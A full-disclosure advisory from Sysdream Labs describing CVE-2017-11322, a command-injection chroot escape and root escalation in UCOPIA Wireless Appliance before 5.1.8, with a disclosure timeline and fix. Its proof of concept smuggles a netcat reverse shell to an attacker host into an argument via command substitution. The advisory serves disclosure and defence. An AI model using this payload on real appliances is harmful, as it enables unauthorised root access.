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List:       full-disclosure
Subject:    [FD] [CVE-2017-11322] UCOPIA Wireless Appliance < 5.1.8 Privileges Escalation
From:       Sysdream Labs <labs () sysdream ! com>
Date:       2017-09-29 13:02:24
Message-ID: 0495fde6-eee0-e1e3-a58d-dc3fe4dcebf1 () sysdream ! com
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# [CVE-2017-11322] UCOPIA Wireless Appliance < 5.1.8 Privileges Escalation

## Asset description

UCOPIA solutions bring together a combination of software, appliance and cloud services serving \
small to large customers.

More than 12,000 UCOPIA solutions are deployed and maintained by UCOPIA expert partners all \
over the world.

The affected asset in this report is a WiFi management appliance.

## Vulnerability

CHROOT escape and privileges escalation.

**Threat**

Improper sanitization of system commands in the chroothole_client executable in UCOPIA Wireless \
Appliance, prior to 5.1.8, allows local attackers to elevate privileges to root user and escape \
from the *chroot*.

**CVE ID**: CVE-2017-11322

**Access Vector**: local

**Security Risk**: high

**Vulnerability**: CWE-78

**CVSS Base Score**: 8.2 (High)

**CVSS Vector**: CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

### Proof of Concept: chroot escape / privileges escalation

The **chroothole_client** binary is used by the appliance to run programs outside the *chroot*, \
as the **root** user.

Because of an improper sanitization of system commands, we managed to gain a complete **root** \
access to the appliance, outside the *chroot*.

```
$ chroothole_client '/usr/sbin/status'
is not running ... failed !
$ chroothole_client '/usr/sbin/status $(which nc)'
/bin/nc is not running ... failed!
$ chroothole_client '/usr/sbin/status $(nc 10.0.0.125 4444 -e /bin/sh)'
```

Attacker terminal :

```
$ ncat -lvp 4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.0.0.1:49156.
whoami
root
```

## Solution

Update to UCOPIA 5.1.8

## Timeline (dd/mm/yyyy)

* 08/03/2017 : Vulnerability discovery.
* 03/05/2017 : Initial contact.
* 10/05/2017 : GPG Key exchange.
* 10/05/2017 : Advisory sent to vendor.
* 17/05/2017 : Request for feedback.
* 22/05/2017 : Vendor acknowledge the vulnerabilities.
* 21/06/2017 : Sysdream Labs request for an ETA, warning for public disclosure.
* 21/06/2017 : Vendor say that the UCOPIA 5.1.8 fixes the issue.
* 29/09/2017 : Public disclosure.

## Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)

-- 
SYSDREAM Labs <labs@sysdream.com>

GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1

* Website: https://sysdream.com/
* Twitter: @sysdream


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